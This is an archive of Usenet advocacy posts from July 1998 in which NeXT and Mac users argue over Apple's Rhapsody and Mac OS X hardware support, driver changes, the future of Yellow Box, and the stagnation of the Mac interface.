> > asked me) like Apple is, and I didn't buy a PC last year on the
> > promise that NT 5 would run on it.
>
> But you DID buy a Macintosh on the promise that Rhapsody would run on it??
Yeah, but I'm learning.
> What, you only have common sense on the PC side?
???
> As for Microsoft not being a supplier of "integrated solutions"--try and
> buy a consumer PC without Win 98 or NT pre-installed.
I thought other companies sell the hardware for PC's...
> > Is "getting second place in line" an euphemism for getting shafted? Do
> > you have a recent Powermac that, if the recent policy U-turn stays in
> > place, will become unsupported under Mac OS X (the OS formerly known
> > as Rhapsody - TOFKAR)?
>
> I currently have a Power Computing Power Center Pro. Neither Rhapsody nor
> OS X will ever run on it. Do I feel shafted? Hell no. I bought this
If I was Steve Jobs I'd come to your door and give you a smacker on
the lips. I mean, you're a good Apple customer, despite buying a
PowerComputing Corp. box.
I probably don't deserve to be an Apple customer at all since I bought
an Apple and feel shafted when the machine isn't going to be
compatible with the modern OS I bought it for.
> machine well over a year ago; by the time OS X is boxed and ready to run
> it will be 3 years old, and I will have sold it long ago for an Apple G3
> (or even better a MP G4). I'm not one of those disgusting whiners who
> dropped $2000 on a 603e four years ago and now breaks into crying fits at
> the idea of spending one dime more upgrading it. Computers cost money,
> dammit! Anyone who has ever bought a computer and expected to never buy
> one again is just plain ignorant in the extreme--as stupid as buying a car
> and thinking the only expenses will be gas, oil, and air filters, and it
> will last forever.
Disgusting whiners, indeed. Exactly what this thread is about.
> I've paid money to stay on the cutting edge, and so will everyone else who
> really wants and needs the capabilities of an OS like Mac OS X. Why do
> people babble about "protected memory" like they have some inalienable
> right to it--like Apple "owes" them this capability for free? Have any of
> them priced NT Server?
Fair enough. Last year's boxes aren't cutting edge this year, thus
they don't deserve an advanced OS such as Rha.. I mean Mac OS X. I'm
looking forward to dumping this machine ASAP and from now on getting a
new machine from Apple every year. Like a clockwork. Right.
And silly me for not only expecting to get Rha... Mac OS X running on
my year-old machine, but also for expecting to get it for free.
Roger and out.
--
taiQ
[this space is intentionally blank]
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Date: Tue, 14 Jul 1998 20:42:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ogfs5$otf$1@nnrp1.dejanews.com>
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu> <B1CFE27C-C238@206.165.43.144> <35aad934.0@news.depaul.edu> <joe.ragosta-1407980752310001@wil55.dol.net>
In article <joe.ragosta-1407980752310001@wil55.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Of course, it's worse in the PC world. My PC has 4 PCI slots--all full,
> while my Mac has 3, 2 of which are empty.
No it's not because you can buy the fastest PCs with 7 PCI slots.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity? (Now, the twilight zone)
Date: 14 Jul 1998 21:21:38 GMT
Organization: University of California at San Diego
Message-ID: <slrn6qniv1.m36.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <vtNp1.383$7k7.493478@news.rdc1.sdca.home.com> <6od8gt$t0j$1@apakabar.cc.columbia.edu> <MPG.10145c959cb2eb25989990@news.supernews.com>
On Mon, 13 Jul 1998 19:04:41 -0500, Donald Brown <don.brown@cesoft.com> wrote:
:Here's what I would need before I even care about how great it is:
:
:Statements from Apple that would convince me that YellowBox for Windows
:has a future.
It's in the Rhapsody FAQ, I believe.
:Some Windows apps created by OpenStep/YellowBox so I can try them out and
:see if they are Windows-like and are of reasonable size.
They probably exist, but I don't know much about them. Maybe OmniWeb/Windows?
:A YellowBox for MacOS 7.x and 8.x
Never. If MacOS 7/8 were good enough to host OpenStep they wouldn't have
needed to buy NeXT. It's just a near technological impossibility.
Where would you put in the "cooperative" multitasking calls into OpenStep?
It would be horrible.
:Statements from Apple that would convince me that YellowBox for Mas has a
:future.
Rhapsody FAQ.
:Some Mac apps created by OpenStep/YellowBox so I can try them out and see
:if they are Mac-like and are of reasonable size.
What about the RDR? They plan on even shipping some standard tools in
Rhapsody 1 aka MOX4S which were written in Java calling YellowBox.
:Until I have these five things, it doesn't matter how good OpenStep is, I
:cannot use it to make money and I must make money to pay my landlord and
:electric company and other bills. It's just irrelevant.
You can have 4 of 5.
:Donald
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: 14 Jul 1998 19:06:49 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oga89$cuc$1@lwnws01.ne.highway1.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <6og3gt$eqq1@eccws1.dearborn.ford.com>
tph@longhorn.uucp (Tom Harrington) wrote:
> You didn't listen to the announcements very closely.
>
> Rhapsody 1.0 has been renamed to "MacOS X Server" and is still on
> schedule for release later this year. Though it's not released
> yet, the non-public developer release does, in fact, run on most
> every system shipping since January 1997. This is unlikely to
> change; if anything, it'll improve. Rhapsody 1.0 will have all
> the features you mention.
>
> On the other hand, Rhapsody 2.0 (now to be called "MacOS X") may
> be a G3-only operating system. It's still not completely clear,
> but there's a distinct possibility that it will leave behind many
> of the systems sold in the past 19 months.
Which leads me to wonder why the drivers made for Rhap 1.0 will all the
sudden not work in 2.0 (i.e. OSX)? Could it be a pretty blatant hand
twisting move by apple to force people to upgrade perfectly fine machines?
Sounds like to me. I know when we went from NS 3.3, all the way to 4.2, many
3.3 drivers continued to work just fine. I don't know if 3.1/3.2 drivers
would work. So unless there is a pretty drastic change in the driver model,
which may be the case, it seems like it's just a way to suck more marrow from
the bones of mac users.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: 14 Jul 1998 19:21:54 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6ogb4i$90f@shelob.afs.com>
References: <6oga89$cuc$1@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> writes
> Which leads me to wonder why the drivers made for Rhap 1.0 will all the
> sudden not work in 2.0 (i.e. OSX)? Could it be a pretty blatant hand
> twisting move by apple to force people to upgrade?
Given that the underlying Mach kernel is expected to change by a major
version level between 1.0 and 2.0, I am not surprised to learn that new
device drivers might be required as a result.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: Tue, 14 Jul 98 19:53:55 GMT
Organization: QMS
Message-ID: <6ogcte$39m$1@news01.deltanet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <6og3gt$eqq1@eccws1.dearborn.ford.com> <6oga89$cuc$1@lwnws01.ne.highway1.com>
In article <6oga89$cuc$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>tph@longhorn.uucp (Tom Harrington) wrote:
>>Though it's not released
>> yet, the non-public developer release does, in fact, run on most
>> every system shipping since January 1997. This is unlikely to
>> change; if anything, it'll improve. Rhapsody 1.0 will have all
>> the features you mention.
Those who wish to have a good idea of the actual number of machines it
can be made to function on might wish to subscribe to Rhapsody-admin
and read comments by the Apple people working on Rhapsody for
themselves . Unfortunately, I am not entiurely sure how much of the
information there comes under my NDA, since some of it is based on
my personal experiences trying to use Rhapsody.
Without making definite statements, it is clear that they will have to
put many tweaks in the OS, and any one of them might end support for
a line of machines. In the Linux world. this is often fixed by public
patches, but it is terribly unlikely for public patches to apepar for
an Apple OS. Further, as the OS matures, it stands to reason that
it will work on and most likely only on those machines that the
testers test it on. Resources are short, and it would have to be a
labor of love from an overworked employee to try to bring in support
for an outcast machine. These do happen, but depending on them
is risky.
After all, you are asking someone who Apple is likely already
overworking to put in yet more hours. This is not an easy thing
to do. (Apple has not made the trades lately as a company willing
to let the employees have a home life, so I think it is probably safe
to say that they follow standard industry practice of working the
employees in an inefficient manner.)
>Which leads me to wonder why the drivers made for Rhap 1.0 will all the
>sudden not work in 2.0 (i.e. OSX)? Could it be a pretty blatant hand
>twisting move by apple to force people to upgrade perfectly fine machines?
That is possible, but I got the impression more that those working on
Rhapsody had been told to focus on G3 machines only, and that they
had G3 machines on thier desks, meaning that they would be very
unlikely to find bugs in non G3 systems, and very unlikely to fix
them. I try not to ascribe to malice what can be caused by stupidity,
and the decision to not support old machines and clones is a
management decision. I think it is a stupid one, but it is not my
call to make.
While I am not all that happy with this aspect of the Apple plan, and
a conspiracy theory suits me, I think the causality goes the other
way. Apple does not want to spend the resources, and sees this
as a way to ditch a millstone of backwards compatibility. Further,
the long term supporters will likely have bought a G3 box for the
extra speed anyway. Finally, given the high degree of customer
loyalty, those who have chosen not to upgrade, or who bought a
clone, and started complaining are likely not strong Apple
advocates anyway, and thus a marginal market.
Now, lets try the same argument in conspire-o-vision
Beleaguered Apple Computer is counting friends and enemies.
Friends bought a G3 box when the company needed them, and
enemies did not. Those who did not buy into the G3 technology
immediately are apostates, and not really worth courting, since
they have not committed any money lately to the Apple cause.
Those who had the gall to buy a clone machine are the enemy,
and may be rehabilitated when they show thier contrition by
buying a blessed machine.
After all, we all have the $2K to buy a G3 box. Developers
do not care about money spent on hardware, and end users
do not care if thier 8 month old machine does not run upcoming
software. Apple machines are only useful for a year anyway,
and anyone who does not know that is a fool, and not a
useful advocate.
Now, which one of the above sounds more correct? Further, which
one is more likely to advance the career of the manager suggesting it?
I suspect Apple is happy about the G3 sales they expect to make as
a result of making OS X work only on G3 boxes, but are they really
going to go out of their way to cripple it on non G3 boxes? I tried
to write the first as more compelling, since neglect is more likely to
survive a board room than evil. The anger of the second statement
is strangely appealing, though.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: 14 Jul 1998 20:13:13 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oge4p$ejk$3@lwnws01.ne.highway1.com>
References: <6oga89$cuc$1@lwnws01.ne.highway1.com> <6ogb4i$90f@shelob.afs.com>
Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
> Given that the underlying Mach kernel is expected to change by a major
> version level between 1.0 and 2.0, I am not surprised to learn that new
> device drivers might be required as a result.
Absolutely true, and a fair point. But isn't it fair to say that a *great
and substantial* amount of work done on the old drivers might be easily
leveraged into the new driver model?
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: mNOSPAMroeder@macromedia.com (Michael Roeder)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 14 Jul 1998 12:00:11 -0700
Organization: Macromedia
Message-ID: <mNOSPAMroeder-1407981200110001@192.168.21.171>
References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <DTuq1.61$E5.334273@proxye1.san.rr.com> <6oei8o$672$5@lwnws01.ne.highway1.com>
In article <6oei8o$672$5@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> It isn't outlandish, it's moronic to think that one functional set, that was
> made about 15yrs ago, stagnant as pond scum, is somehow made better by
> painting more garish crap atop that same old lame functionality.
It's moronic to think that Apple's Macintosh interface has not changed
since it was first introduced. In fact, it has subtly evolved to
accommodate new needs.
Likewise, it'smoronic to think that an interface needs to have radical
changes every few years to keep from stagnating. Automobiles have had the
same user interface* for dozens of years, and it works fairly well.
There's no good reason to change it every five years, is there?
* a big wheel in front of you that you turn to steer the car, gas pedal on
the right, brake pedal in the middle, and an optional clutch on the right,
turn signal on the left that you tilt upwards to signal right and
downwards to signal left, and automatic transmission shifters in the
patterrn PRNDL; red lights in bacl to indicate brakes being applied, red
or yellow lights to indicate intention to turn or change lanes, white
lights in front to illuminate the road at night and increase visibility
during the day, and red and yellow marker lights to increase visibility at
night
--
Michael Roeder -- mroeder at macromedia dot com
http://www.stopspam.org/usenet/faqs/faqs.html
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 14 Jul 1998 19:03:13 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6oga1h$8tl@shelob.afs.com>
References: <6og8ga$oq7$3@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com writes
> Apple most certianly knows who came from the NeXT Camp, and who are
> YB developers. Why arn't they sending e-mail to those folks - and
> writing a few well hidden pages relating to announcements directed
> to the YB camps and posting them at least in comp.sys.next.?.
Who says they *don't* keep us informed? I remind you that RDR is still
provided under non-disclosure, which means that those who have it can't
talk about specifics publically, and Apple certainly will not publish
its anticipated strategies on a public forum like Usenet.
Apple is telling its existing audience what they want and need to hear.
Don't confuse that with a lack of consideration for their future (past
performance acknowledged and understood by those of use who are keeping
our eyes wide open on this one).
> It is all well and good that Apple wants all the MacOS folks to think
> Carbon - but if Apple really wanted/wants them to get to YB - they
> really should be up front about that. How hard is it to say were
> giving you Carbon which will be avaliable far into the future (5-10
> years) as a stepping stone to YB.
I feel like I hear that message. But I posted just the other day that I
think Apple should be more proactive about this topic, including the
construction of self-running demos aimed at traditional Mac developers.
Give them motive *and* opportunity. I think everyone should wait and see
what materials ship with OSX Server, and at what price and which date,
before they reach any foregone conclusions about Apple's intentions.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 19:32:05 GMT
Organization: MiscKit Development
Message-ID: <6ogbnl$iv$2@news.xmission.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6og17t$73c2@odie.mcleod.net> <yHMq1.3729$24.21350185@news.itd.umich.edu>
NNTP-Posting-Date: 14 Jul 1998 19:32:05 GMT
not@my.address.net wrote:
> [...] BANG sometimes keeps minutes of its meetings on the
> web. I think I recall reading that Dr. Ernie P. (Product
> Manager for Rhapsody, if I remember right) had said a few
> months ago that there were now more engineers working on
> the YellowBox frameworks at Apple than there had ever been
> at NeXT.
Product Marketing Manager IIRC.
You know, there's a BANG meeting coming up next week (Wed the 22nd). I
wonder if Apple will say something about YB there...it would seem logical to
believe that they ought to have *something* to say about YB there. If they
didn't, then I'd start worrying a bit more... maybe we should cool it until
then and wait and see what Apple has to say for themselves. :-/
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 19:36:15 GMT
Organization: Michigan State University
Message-ID: <6ogbvf$oq7$4@msunews.cl.msu.edu>
References: <35AA8501.CF6AAF27@nospam.com> <6oedop$9t21@odie.mcleod.net>
<35AACACB.4A68807A@alum.mit.edu> <6oest8$33f$1@news.xmission.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: don@misckit.com
In <6oest8$33f$1@news.xmission.com> Don Yacktman wrote:
> Eric Hermanson <eric@alum.mit.edu> wrote:
> > Michelle L. Buck wrote:
> > > You would be a flaming idiot to program for Yellow now.
> >
> > You are a flaming idoit for making a silly statement like that.
>
> Neither Erik nor Michelle Buck are idiots, Eric.
Go get em Don .. Wuf, Wuf.. (BTW: Eric I'm sure we'd all
like to know who is sticking with YB/EOF/WO - just as to Don
and Michelle we'd like to know who's dumping it - see commments
later)
> > You are
> > obviously neither a good developer, nor an experienced manager.
>
> Wrong-O big time. Erik has created one of the coolest OPENSTEP app I
have
> _ever_ seen, bar none. I'm under NDA, so about all I can really say
is that
> it is amazing. I was hoping that it would be productized, but it
looks like
> that may never happen. That's a shame, because we lose a LOT there.
All I can say from my limited 5-6 years in the community that I am
very familiar with Michelle (not personally mind you) and Don.
I recognize them from 'way' back - I don't recognize you Eric
but maybe you were just one of those strong silent types
(there are many who really know a lot - ex-NeXT folk etc
that lurk here - post nothing - and sometimes privately e-mail)
I'm just saying I think Michelle & Don do seem to deserve
some respect.. And ultimately we all want to hear their comments
along with yours.. All sides are important. I would like to know
why people are dumping (Don & Michelle) and why people
are staying (Eric)..
Ultimately I think the only way Apple would listen is if you could
talk to those clients and actually release some names and some
basic information (like are they phasing out YB - in favor of what -
why? How many seats? etc.)
> > Whether you are an independent software vendor, or
> > a programmer on a F-1000 staff, you are best served
> > from a design and implementation efficiency standpoint
> > to take advantage APIs when developing UI
> > applications, the EOF API when developing database
> > applications, and the WebObjects API's when developing web
> > applications. There is no triad of tools available that
> > can compete with YB/EOF/WO either alone or together.
>
> You are only counting the development and maintenance issues and
ignoring the
> political and beauraucratic limitations that may exist as well as
budgets and
> availability of talented trainers and developers. Like any dangerous
tool,
> it is only useful when wielded in the proper environment by hands
with the
> proper skills. Saying that YB is always the answer is terribly
irresponsible
> and unprofessional. It is nearly as bad as those who recommend a
Microsoft
> solution for everything. Not quite as bad only because the YB is
higher
> quality software.
>
> While I think that YB/EOF/WOF are absolutely incredible tools, I will
be the
> first to admit that pragmatic considerations _do_ rule it out in
certain
> circumstances. No solution in existence today is a panacea, and
anyone who
> over-advocates a product ends up doing more harm than good for many
reasons,
> not the least of which is the case where a product gets a bad name
for itself
> because it was mis-applied. Then the project fails and the product
gets
> blamed instead of the idiot who recommended it. I've seen this
happen
> before--bad news, let me tell you, because that reputation gets
harder and
> harder to shake off and the product then gets ruled out of the
projects where
> it would have led to phenomenal success.
>
> Consulting rule #1: Don't ever over-advocate your pet solution.
Check! Any consultant worth their salt doesn't advocate just one
solution - they present options - pricetags - analysis - etc. There
are pros and cons to any solution. In my mind informing a client
completely of those options so they walk in with open eyes is why
what they pay me to do. Many times I have consulted myself out
of a job because I had to honestly recommend a solution that would
make it so that company would not need my services..
I know every one of those companies appreciated that fact - and if
they can find any reason to do business with me again they will.
Because they know I'm thinking about their needs first - rather
than my pocket book.
I'm not rich or have a ton of clients because of this - But the reason
is because the companies whose solutions I tried to support/promote
simply cut their own throats in the markets I worked within.. I saw
SGI's plight coming at least 2 years back - I tried to open discussions
with them - to let them know what I was facing in the trenches -
SGI didn't care a whit. Saw the same thing with NeXT - and now
Apple. NeXT didn't seem to care a whit - neither does Apple
seemingly.
> > > My company and my Fortune 100 clients are abandoning YellowBox as
fast as
> > > possible.
> >
> > You've said this in at least 3 posts in the past 2 weeks.
> > If you're abandoning it "as fast as possible", then why do
> > you keep lingering on the subject?
>
> Probably because he knows how good YB is and therefore doesn't really
want to
> leave and keeps hoping against all hope that Apple will get its
message
> straight. It's not too late yet...
As we all do. We are quicly nearing the point of no return. In fact
I am
convinced from discussions I've had with many of you all that Apple
has in fact already done substantial damage to their reputation ..
Though I personally think in reality Steve Jobs is personally and
solely responsible for this.. I follow the command and responsibility
chain. A general is completely responsible for the actions of his
troops. Steve Jobs is no exception. Though I don't know what
forces he is dealing with - and can't really presume to know what
and why he does things..
> > [...] By the way, all of the Fortune 1000 clients
> > I am exposed to are adopting YB, and EOF especially, as
> > fast as possible.
>
> Really? Which ones? I've been hearing a lot of stories along the
lines of
> Erik's, which is painful to hear, let me tell you. I'd like to hear
more
> about the successes for a change!
Yeah I think this challenge could go both ways. Perhaps some
of us have to figure out how to name some sources. I think
this is critical - to telling a coherent story. Otherwise we are
all blowing our horns. Any way you guys can get permission
here.. I think Apple might listen up if they knew what enterprise
clients were dumping YB..
> > > It is sad, but Yellow is dead. Apple has privately told my
> > > Fortune 100 clients as much.
> >
> > What clients might those be? Country Joe's Chicken Ranch?
>
> Well, it is public knowledge that one of them is a teensy little
company
> known as Rockwell. (I know that much is public because I've seen
posts from
> him with a rockwell email address. There's a lot more I'd love to
say, but
> NDA prevents.)
Too bad - I'm sure some more interesting names would pop out.
What about listing the WO sites that dumped WO.. Wasn't Dell
on that list, GM? I'm just trying to speak from memory here.
> > > Apple actually recomended Windows NT and Developer Studio.
> >
> > In general? Bullshit! Who at Apple recommended this, and
> > in what context?
>
> This is the important thing--I think that we need more context to
understand
> Erik's statements. So, Erik, care to elucidate? Given some things
I've been
> hearing from sources very high up in Apple, this Apple statement has
to be a
> real anomaly or very out of context. From what I hear, in general YB
is
> _very_ healthy at Apple. Hopefully Apple will say something concrete
very
> soon...I'd almost be willing to wager that they will, because this
"YB is
> dead" reading of the tea leaves just seems too far out of control to
me.
>
Actually everything I'm reading - I don't have internal connections
like
you guys indicates to me that Apple is merely hedging all bets. If no
Carbon
developers move to YB, and the YB interest is low - what do you think
will
happen. Every time I see YB I see it in conjunction with Java. And
it seems
to me that if you code to use YB from Java you loose the crossplatform
benefits of Java.. Where does this leave YB?
Frankly I still advocate the following:
Apple should let everything go to GNUstep or even MiscKit (I'll help
Don
if Apple does this, and I'm sure that enough interest is still out
there to start
a seperate venture like redhat) from YB on down.. Apple can still
retain the
development tools, WO, EOF and whatever Apps they have to sit on top of
YB.
They can even still sell the OS - as official Apple version for $100 to
$200.
I could see much of the world turn Yellow nearly overnight. Just like
people buy redhat - they'd buy MacOS X from Apple. And if Apple
hardware
is so great at running their tuned version of YB then people wil beat
the
doors down for it.. And they can let some other company support the
PC versions, etc.
And this whole thing about Apple saying it'll cost too much to
develop and support Intel - frankly NeXT did it with a much smaller
budget - (a limited subset of hardware - but not too bad IMHO)
and less people. Apple must be doing something seriously wrong
that it would cost very much to support it, or mismanaging so badly
that I can't imagine it. Frankly I am convinced these lame arguments
simply are a stall/cover up for other reasons that are the REAL reasons
Apple is decidedly dropping PC support. It is those reasons we can
only guess. And because of this many people rightly fear that YB
may find itself in the same situation - especially if no Carbon folks
make the YB switch.
Apple says "Think Different"
I say to Apple "Act Different"
release YB and everything below it
that you can to GNUstep or MiscKit.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
PS: A full global search & destroy (I mean replace) of the word
Rhapsody
to MacOS X Server is in order on apple.com.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 19:26:25 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ogbd1$dm2$1@lwnws01.ne.highway1.com>
References: <35AA8501.CF6AAF27@nospam.com> <6odtla$gjd$1@news.digifix.com> <35ABC6AF.E076A460@nospam.com>
Tim Triemstra <nospam@nospam.com> wrote:
> This is potentially the best way to go. Drop ObjectiveC, and go native
> with Java. Drop Carbon except for porting purposes. Use
> InterfaceBuilder for Swing or native YB controls. This would kick butt,
> but how bout some actual plans. How can I develop for such a moving
> target? Apple already took away my ability to run Intel Mach Rhapsody
> in the future so what is a lowly developer to do? :)
Yucky. ObjectiveC kicks Java tushy. If I wanted a hyper portable yet slow
language I could use smalltalk and be much happier.
But this is nit-picking. I'm with you in spirit. Once again apple has
managed to leave the public wondering about how to plan their futures to
involve apple stuff. It's clear foretelling apple's future is more shaky
than a game of russian roulette, at least it is to the general public at
large. I don't think the onus is on the customer to foretell the future. It
shouldn't be all that hard to make at least a moderate roadmap and commitment
so developers won't be in constant fear that they'll once again be Copland'd,
Steve'd, OpenDoc'd, BlackHardware'd, Newton'd, 3DKit'd, IXKit'd, GX'd, DPS'd,
etc. Considering the history, a commitment for YB is a reasonable request.
There's no reason why it's unreasonable for developers to feel that the "'d"
might be applied to YB in the future considering all the clanging about
Carbon and the relative silence with regard to YB. Maybe it's wrong, but
it's not an unreasonable anxiety. Considering this, if apple were half
sensitive to it's developer problems, it would make an extra concerted effort
to emphasize the future importance of YB and express a commitment to it.
This would require all of 1hour to make a web page that said as much with
pretty formatting and boxes showing their strategy.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 14 Jul 1998 19:56:26 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ogd5a$ejk$1@lwnws01.ne.highway1.com>
References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <DTuq1.61$E5.334273@proxye1.san.rr.com> <6oei8o$672$5@lwnws01.ne.highway1.com> <mNOSPAMroeder-1407981200110001@192.168.21.171>
mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> Likewise, it'smoronic to think that an interface needs to have radical
> changes every few years to keep from stagnating. Automobiles have had the
> same user interface* for dozens of years, and it works fairly well.
> There's no good reason to change it every five years, is there?
Umhum. The addition of purple wasn't so sublte. You can appologize for it
all you like. It is relatively stagnant pond scum nonetheless.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: mNOSPAMroeder@macromedia.com (Michael Roeder)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 14 Jul 1998 12:57:20 -0700
Organization: Macromedia
Message-ID: <mNOSPAMroeder-1407981257200001@192.168.21.171>
